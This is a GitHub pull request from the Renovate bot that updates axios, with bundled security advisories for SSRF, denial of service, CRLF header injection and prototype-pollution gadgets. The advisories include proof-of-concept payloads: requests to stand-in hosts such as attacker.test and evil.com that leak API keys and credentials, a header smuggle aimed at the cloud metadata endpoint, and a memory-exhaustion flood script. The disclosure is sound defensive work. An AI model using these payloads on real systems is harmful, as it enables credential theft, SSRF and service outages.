Skip to content

fix(deps): update dependency axios to v1.18.0 [security] - #75

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-axios-vulnerability
Open

fix(deps): update dependency axios to v1.18.0 [security]#75
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-axios-vulnerability

Conversation

@renovate

@renovaterenovateBot commented Nov 11, 2023

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

PackageChangeAgeConfidence
axios (source)1.3.21.18.0ageconfidence

Axios Cross-Site Request Forgery Vulnerability

CVE-2023-45857 / GHSA-wf5p-g6vw-rhxx

More information

Details

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Server-Side Request Forgery in axios

CVE-2024-39338 / GHSA-8hc4-vh64-cxmj

More information

Details

axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.

Severity

High

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios is vulnerable to DoS attack through lack of data size check

CVE-2025-58754 / GHSA-4hjh-wcwx-xvwj

More information

Details

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

constfullPath=buildFullPath(config.baseURL,config.url,config.allowAbsoluteUrls);constparsed=newURL(fullPath,platform.hasBrowserEnv ? platform.origin : undefined);constprotocol=parsed.protocol||supportedProtocols[0];if(protocol==='data:'){letconvertedData;if(method!=='GET'){returnsettle(resolve,reject,{status: 405, ... });}convertedData=fromDataURI(config.url,responseType==='blob',{Blob: config.env&&config.env.Blob});returnsettle(resolve,reject,{data: convertedData,status: 200, ... });}

The decoder is in [lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

exportdefaultfunctionfromDataURI(uri,asBlob,options){
...
if(protocol==='data'){uri=protocol.length ? uri.slice(protocol.length+1) : uri;constmatch=DATA_URL_PATTERN.exec(uri);
...
constbody=match[3];constbuffer=Buffer.from(decodeURIComponent(body),isBase64 ? 'base64' : 'utf8');if(asBlob){returnnew_Blob([buffer],{type: mime});}returnbuffer;}thrownewAxiosError('Unsupported protocol '+protocol, ...);}
  • The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
  • It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
  • As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC
constaxios=require('axios');asyncfunctionmain(){// this example decodes ~120 MBconstbase64Size=160_000_000;// 120 MB after decodingconstbase64='A'.repeat(base64Size);consturi='data:application/octet-stream;base64,'+base64;console.log('Generating URI with base64 length:',base64.length);constresponse=awaitaxios.get(uri,{responseType: 'arraybuffer'});console.log('Received bytes:',response.data.length);}main().catch(err=>{console.error('Error:',err.message);});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

importexpressfrom"express";importmorganfrom"morgan";importaxiosfrom"axios";importhttpfrom"node:http";importhttpsfrom"node:https";import{PassThrough}from"node:stream";constkeepAlive=true;consthttpAgent=newhttp.Agent({ keepAlive,maxSockets: 100});consthttpsAgent=newhttps.Agent({ keepAlive,maxSockets: 100});constaxiosClient=axios.create({timeout: 10000,maxRedirects: 5,
httpAgent, httpsAgent,headers: {"User-Agent": "axios-poc-link-preview/0.1 (+node)"},validateStatus: c=>c>=200&&c<400});constapp=express();constPORT=Number(process.env.PORT||8081);constBODY_LIMIT=process.env.MAX_CLIENT_BODY||"50mb";app.use(express.json({limit: BODY_LIMIT}));app.use(morgan("combined"));app.get("/healthz",(req,res)=>res.send("ok"));/** * POST /preview { "url": "<http|https|data URL>" } * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector). */app.post("/preview",async(req,res)=>{consturl=req.body?.url;if(!url)returnres.status(400).json({error: "missing url"});letu;try{u=newURL(String(url));}catch{returnres.status(400).json({error: "invalid url"});}// Developer allows using data:// in the allowlistconstallowed=newSet(["http:","https:","data:"]);if(!allowed.has(u.protocol))returnres.status(400).json({error: "unsupported scheme"});constcontroller=newAbortController();constonClose=()=>controller.abort();res.on("close",onClose);constbefore=process.memoryUsage().heapUsed;try{constr=awaitaxiosClient.get(u.toString(),{responseType: "stream",maxContentLength: 8*1024,// Axios will ignore this for data:maxBodyLength: 8*1024,// Axios will ignore this for data:signal: controller.signal});// stream only the first 64KB backconstcap=64*1024;letsent=0;constlimiter=newPassThrough();r.data.on("data",(chunk)=>{if(sent+chunk.length>cap){limiter.end();r.data.destroy();}else{sent+=chunk.length;limiter.write(chunk);}});r.data.on("end",()=>limiter.end());r.data.on("error",(e)=>limiter.destroy(e));constafter=process.memoryUsage().heapUsed;res.set("x-heap-increase-mb",((after-before)/1024/1024).toFixed(2));limiter.pipe(res);}catch(err){constafter=process.memoryUsage().heapUsed;res.set("x-heap-increase-mb",((after-before)/1024/1024).toFixed(2));res.status(502).json({error: String(err?.message||err)});}finally{res.off("close",onClose);}});app.listen(PORT,()=>{console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null```

Suggestions
  1. Enforce size limits
    For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.

  2. Stream decoding
    Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

CVE-2025-27152 / GHSA-jr5f-v2jv-69x6

More information

Details

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

importaxiosfrom"axios";constinternalAPIClient=axios.create({baseURL: "http://example.test/api/v1/users/",headers: {"X-API-KEY": "1234567890",},});// const userId = "123";constuserId="http://attacker.test/";awaitinternalAPIClient.get(userId);// SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.
PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
importaxiosfrom"axios";constclient=axios.create({baseURL: "http://localhost:10001/"});constresponse=awaitclient.get("http://localhost:10002/");console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact
  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Severity

  • CVSS Score: 7.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios is Vulnerable to Denial of Service via proto Key in mergeConfig

CVE-2026-25639 / GHSA-43fc-jf86-j433

More information

Details

Denial of Service via proto Key in mergeConfig
Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

utils.forEach(Object.keys({ ...config1, ...config2}),functioncomputeConfigValue(prop){constmerge=mergeMap[prop]||mergeDeepProperties;constconfigValue=merge(config1[prop],config2[prop],prop);(utils.isUndefined(configValue)&&merge!==mergeDirectKeys)||(config[prop]=configValue);});

When prop is '__proto__':

  1. JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
  2. Object.keys() includes '__proto__' in the iteration
  3. mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
  4. The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
  5. Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

  • Axios._request() at lib/core/Axios.js:75
  • Axios.getUri() at lib/core/Axios.js:201
  • All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224
PoC
importaxiosfrom"axios";constmaliciousConfig=JSON.parse('{"__proto__": {"x": 1}}');awaitaxios.get("https://httpbin.org/get",maliciousConfig);

Reproduction steps:

  1. Clone axios repository or npm install axios
  2. Create file poc.mjs with the code above
  3. Run: node poc.mjs
  4. Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
at computeConfigValue (lib/core/mergeConfig.js:100:25)
at Object.forEach (lib/utils.js:280:10)
at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed:

TestConfigResult
Normal config{"timeout": 5000}SUCCESS
Malicious configJSON.parse('{"__proto__": {"x": 1}}')CRASH
Nested object{"headers": {"X-Test": "value"}}SUCCESS

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

  • Node.js servers using axios for HTTP requests
  • Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

CVE-2026-40175 / GHSA-fvcv-3m26-pcqx

More information

Details

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain
Summary

The Axios library is vulnerable to a specific gadget-style attack chain in which prototype pollution in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests.

Axios can be used as a gadget after pollution occurs elsewhere because header values merged from attacker-controlled prototype properties are not sanitized for CRLF (\r\n) characters before being written to the request. In affected deployments, this may enable limited request manipulation or metadata access as part of a higher-complexity exploit chain.

Severity: Moderate (CVSS 3.1 Base Score: 4.8)
Affected Versions: All versions (v0.x - v1.x)
Vulnerable Component: lib/adapters/http.js (Header Processing)

Usage of "Helper" Vulnerabilities

This issue requires a separate prototype pollution vulnerability in another library in the application stack (for example, qs, minimist, ini, or body-parser). If an attacker can pollute Object.prototype, Axios may pick up the polluted properties during config merge.

Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property can alter the structure of an outbound HTTP request.

Proof of Concept
1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype['x-amz-target']= \"dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore\";
2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developerawaitaxios.get('https://analytics.internal/pings');
3. The Execution

Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.

Resulting HTTP traffic:

GET /pings HTTP/1.1Host: analytics.internalx-amz-target: dummyPUT /latest/api/token HTTP/1.1Host: 169.254.169.254X-aws-ec2-metadata-token-ttl-seconds: 21600GET /ignore HTTP/1.1...
4. The Impact

In environments where requests can reach cloud metadata endpoints or sensitive internal services, the injected header content may help bypass expected request constraints and expose limited credentials or modify request semantics. This impact depends on application context and a separate prototype-pollution primitive.

Impact Analysis
  • Confidentiality: May expose limited sensitive information in affected network environments.
  • Integrity: May allow modification of outbound request structure or injected headers.
  • Attack Complexity: Exploitation requires a separate prototype-pollution vulnerability and a reachable target service.
Recommended Fix

Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.

Patch Suggestion:

// In lib/adapters/http.jsutils.forEach(requestHeaders,functionsetRequestHeader(val,key){if(/[\r\n]/.test(val)){thrownewError('Security: Header value contains invalid characters');}// ... proceed to set header});
References
  • OWASP: CRLF Injection (CWE-113)

This report was generated as part of a security audit of the Axios library.

Severity

  • CVSS Score: 4.8 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF

CVE-2025-62718 / GHSA-3p68-rc4w-qgx5

More information

Details

Axios does not correctly handle hostname normalization when checking NO_PROXY rules.
Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.

This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.

According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost.
However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.

This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.


PoC

importhttpfrom"http";importaxiosfrom"axios";constproxyPort=5300;http.createServer((req,res)=>{console.log("[PROXY] Got:",req.method,req.url,"Host:",req.headers.host);res.writeHead(200,{"Content-Type": "text/plain"});res.end("proxied");}).listen(proxyPort,()=>console.log("Proxy",proxyPort));process.env.HTTP_PROXY=`http://127.0.0.1:${proxyPort}`;process.env.NO_PROXY="localhost,127.0.0.1,::1";asyncfunctiontest(url){try{awaitaxios.get(url,{timeout: 2000});}catch{}}setTimeout(async()=>{console.log("\n[*] Testing http://localhost.:8080/");awaittest("http://localhost.:8080/");// goes through proxyconsole.log("\n[*] Testing http://[::1]:8080/");awaittest("http://[::1]:8080/");// goes through proxy},500);

Expected: Requests bypass the proxy (direct to loopback).
Actual: Proxy logs requests for localhost. and [::1].


Impact

  • Applications that rely on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access are vulnerable.

  • Attackers controlling request URLs can:

    • Force Axios to send local traffic through an attacker-controlled proxy.
    • Bypass SSRF mitigations relying on NO_PROXY rules.
    • Potentially exfiltrate sensitive responses from internal services via the proxy.

Affected Versions

  • Confirmed on Axios 1.12.2 (latest at time of testing).
  • affects all versions that rely on Axios’ current NO_PROXY evaluation.

Remediation
Axios should normalize hostnames before evaluating NO_PROXY, including:

  • Strip trailing dots from hostnames (per RFC 3986).
  • Normalize IPv6 literals by removing brackets for matching.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking

CVE-2026-42264 / GHSA-q8qp-cvcw-x6jj

More information

Details

Summary

Five config properties in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.

Affected Properties
  1. config.auth (lib/adapters/http.js line 617) Injects attacker-controlled Authorization header on all requests.
  2. config.baseURL (lib/helpers/resolveConfig.js line 18) Redirects all requests using relative URLs to an attacker-controlled server.
  3. config.socketPath (lib/adapters/http.js line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon).
  4. config.beforeRedirect (lib/adapters/http.js line 698) Executes attacker-supplied callback during HTTP redirects.
  5. config.insecureHTTPParser (lib/adapters/http.js line 712) Enables Node.js insecure HTTP parser on all requests.
Proof of Concept
constaxios=require('axios');// Prototype pollution from a vulnerable dependency in the same processObject.prototype.auth={username: 'attacker',password: 'exfil'};Object.prototype.baseURL='https://evil.com';awaitaxios.get('/api/users');// Request is sent to: https://evil.com/api/users// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=// Attacker receives both the request and injected credentials
Impact
  • Credential injection: Every axios request includes an attacker-controlled Authorization header, leaking request contents to any server that logs auth headers.
  • Request hijacking: All requests using relative URLs are silently redirected to an attacker-controlled server.
  • SSRF: Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments.
  • Code execution: Attacker-supplied functions execute during HTTP redirects.
  • Parser weakening: Insecure HTTP parser enabled on all requests, enabling request smuggling.
Root Cause

mergeConfig() iterates Object.keys({...config1, ...config2}), which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (config.auth, config.socketPath, etc.), which traverses the prototype chain and picks up polluted values.

The own() helper at lib/adapters/http.js line 336 exists and guards 8 other properties (data, lookup, family, httpVersion, http2Options, responseType, responseEncoding, transport) from this exact attack. The 5 properties listed above are not included in this protection.

Suggested Fix

Apply the existing own() helper to all affected properties:

constconfigAuth=own('auth');if(configAuth){constusername=configAuth.username||'';constpassword=configAuth.password||'';auth=username+':'+password;}

Same pattern for socketPath, beforeRedirect, insecureHTTPParser, and a hasOwnProperty check for baseURL in resolveConfig.js.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy

CVE-2026-42041 / GHSA-w9j2-pvgh-6h63

More information

Details

Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy
Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution to silently suppress all HTTP error responses (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling.

The root cause is that validateStatus is the only config property using the mergeDirectKeys merge strategy, which uses JavaScript's in operator — an operator that inherently traverses the prototype chain. When Object.prototype.validateStatus is polluted with () => true, all HTTP status codes are accepted as success.

Severity: High (CVSS 8.2)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component:lib/core/mergeConfig.js (mergeDirectKeys strategy) + lib/core/settle.js

CWE
  • CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
  • CWE-287: Improper Authentication
CVSS 3.1

Score: 8.2 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

MetricValueJustification
Attack VectorNetworkPP is triggered remotely
Attack ComplexityLowOnce PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx
Privileges RequiredNoneNo authentication needed
User InteractionNoneNo user interaction required
ScopeUnchangedImpact within the application
ConfidentialityLow401 treated as success may expose data behind auth gates
IntegrityHighAll error handling and auth checks are silently bypassed — application operates on invalid assumptions
AvailabilityNoneThe function works correctly (returns true), no crash
Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack, Axios will automatically inherit the polluted validateStatus function during config merge. The in operator in mergeDirectKeys makes this property uniquely susceptible to prototype pollution compared to all other config properties.

Why validateStatus Is Uniquely Vulnerable

All other config properties use defaultToConfig2, which reads config2[prop] (traverses prototype). But validateStatus uses mergeDirectKeys, which uses the in operator:

// mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus)functionmergeDirectKeys(a,b,prop){if(propinconfig2){// ← `in` traverses prototype chain!returngetMergedValue(a,b);}elseif(propinconfig1){returngetMergedValue(undefined,a);}}// mergeConfig.js:94constmergeMap={// ... all others use defaultToConfig2 ...validateStatus: mergeDirectKeys,// ← ONLY property using this strategy};

The in operator is a more aggressive prototype traversal than property access. While config2['validateStatus'] also traverses the prototype, the explicit in check makes the intent clearer and the vulnerability more direct.

Proof of Concept
1. The Setup (Simulated Pollution)
Object.prototype.validateStatus=()=>true;
2. The Gadget Trigger (Safe Code)
// Application checks authentication via HTTP status codestry{constresponse=awaitaxios.get('https://api.internal/admin/users');// Developer expects: 401 → catch block → redirect to login// Reality: 401 → treated as success → displays admin dataprocessAdminData(response.data);// Executes with 401 response body!}catch(error){redirectToLogin();// NEVER REACHED for 401/403/500}
3. The Execution
// mergeConfig.js:58 — 'validateStatus' in config2// config2 = { url: '/admin/users', method: 'get' }// 'validateStatus' in config2 → checks prototype → finds () => true → TRUE// → getMergedValue(defaultValidator, () => true) → returns () => true// settle.js:16 — ALL status codes resolveconstvalidateStatus=response.config.validateStatus;// () => trueif(!response.status||!validateStatus||validateStatus(response.status)){resolve(response);// 401, 403, 500 all resolve here!}
4. The Impact
Before pollution:
HTTP 200 → resolve (success)
HTTP 401 → reject (auth error) → redirectToLogin()
HTTP 403 → reject (forbidden) → showAccessDenied()
HTTP 500 → reject (server error) → showErrorPage()
After pollution:
HTTP 200 → resolve (success)
HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body
HTTP 403 → resolve (SUCCESS!) → application thinks user has access
HTTP 500 → resolve (SUCCESS!) → application processes error as data
Verified PoC Output
--- Before Pollution ---
401: REJECTED as expected - Request failed with status code 401
500: REJECTED as expected - Request failed with status code 500
--- After Pollution ---
200: RESOLVED as success (status: 200)
301: RESOLVED as success (status: 301)
401: RESOLVED as success (status: 401)
403: RESOLVED as success (status: 403)
404: RESOLVED as success (status: 404)
500: RESOLVED as success (status: 500)
503: RESOLVED as success (status: 503)
--- Authentication Bypass Demo ---
Auth check bypassed! 401 treated as success.
Application proceeds with: { status: 401, message: 'Response with status 401' }
Impact Analysis
  • Authentication Bypass: Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources.
  • Silent Error Swallowing: 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors.
  • Security Control Bypass: Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed.
  • Universal Scope: Affects every axios instance in the application, including third-party libraries.
Recommended Fix

Replace the in operator with hasOwnProperty in mergeDirectKeys:

// FIXED: lib/core/mergeConfig.jsfunctionmergeDirectKeys(a,b,prop){if(Object.prototype.hasOwnProperty.call(config2,prop)){returngetMergedValue(a,b);}elseif(Object.prototype.hasOwnProperty.call(config1,prop)){returngetMergedValue(undefined,a);}}
Resources
Timeline
DateEvent
2026-04-15Vulnerability discovered during source code audit
2026-04-15PoC developed and vulnerability confirmed
2026-04-16Report revised for accuracy
TBDReport submitted to vendor via GitHub Security Advisory

Severity

  • CVSS Score: 4.8 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in parseReviver

CVE-2026-42044 / GHSA-3w6x-2g7m-8v23

More information

Details

Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in parseReviver
Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass.

The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.

This is strictly more powerful than the transformResponse gadget because:

  1. No constraints — the reviver can return any value (no "must return true" requirement)
  2. Selective modification — individual JSON keys can be changed while others remain untouched
  3. Invisible — the response structure and most values look completely normal
  4. Simultaneous exfiltration — the reviver sees the original values before modification

Severity: Critical (CVSS 9.1)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component:lib/defaults/index.js:124 (JSON.parse with prototype-inherited reviver)

CWE
  • CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
  • CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
CVSS 3.1

Score: 9.1 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

MetricValueJustification
Attack VectorNetworkPP is triggered remotely via any vulnerable dependency
Attack ComplexityLowOnce PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology
Privileges RequiredNoneNo authentication needed
User InteractionNoneNo user interaction required
ScopeUnchangedWithin the application process
ConfidentialityHighThe reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, apiKey: "sk-secret-internal-key" is captured
IntegrityHighArbitrary, selective modification of any JSON value. No constraints. In the PoC, isAdmin: false → true, role: "viewer" → "admin", balance: 100 → 999999. The response looks completely normal except for the surgically altered values
AvailabilityNoneNo crash, no error — the attack is entirely silent
Comparison with All Known Axios PP Gadgets
FactorGHSA-fvcv-3m26-pcqx (Header Injection)transformResponseproxy (MITM)parseReviver (This)
PP targetObject.prototype['header']Object.prototype.transformResponseObject.prototype.proxyObject.prototype.parseReviver
Fixed by 1.15.0?YesNoNoNo
ConstraintsN/A (fixed)Must return trueNoneNone
Data modificationHeader injection onlyResponse replaced with trueFull MITMSelective per-key modification
StealthRequest anomaly visibleResponse becomes true (obvious)Proxy visible in networkCompletely invisible
Data accessHeaders onlythis.auth + raw responseAll trafficEvery JSON key-value pair
Validated?N/AassertOptions validatesNot validatedNot validated
In defaults?N/AYes → goes through mergeConfigNo → bypasses mergeConfigNo → bypasses mergeConfig
Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), the polluted parseReviver function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.

Root Cause Analysis
The Attack Path
Object.prototype.parseReviver = function(key, value) { /* malicious */ }
│
▼
mergeConfig(defaults, userConfig)
│
│ parseReviver NOT in defaults → NOT iterated by mergeConfig
│ parseReviver NOT in userConfig → NOT iterated by mergeConfig
│ Merged config has NO own parseReviver property
│
▼
transformData.call(config, config.transformResponse, response)
│
│ Default transformResponse function runs (NOT overridden)
│
▼
defaults/index.js:124: JSON.parse(data, this.parseReviver)
│
│ this = config (merged config object, plain {})
│ config.parseReviver → NOT own property → traverses prototype chain
│ → finds Object.prototype.parseReviver → attacker's function!
│
▼
JSON.parse calls reviver for EVERY key-value pair
│
│ Attacker can: read original value, modify it, return anything
│ No validation, no constraints, no assertOptions check
│
▼
Application receives surgically modified JSON response
Why parseReviver Bypasses ALL Existing Protections
  1. Not in defaults (lib/defaults/index.js): parseReviver is not defined in the defaults object, so mergeConfig's Object.keys({...defaults, ...userConfig}) iteration never encounters it. The merged config has no own parseReviver property.

  2. Not in assertOptions schema (lib/core/Axios.js:135-142): The schema only contains {baseUrl, withXsrfToken}. parseReviver is not validated.

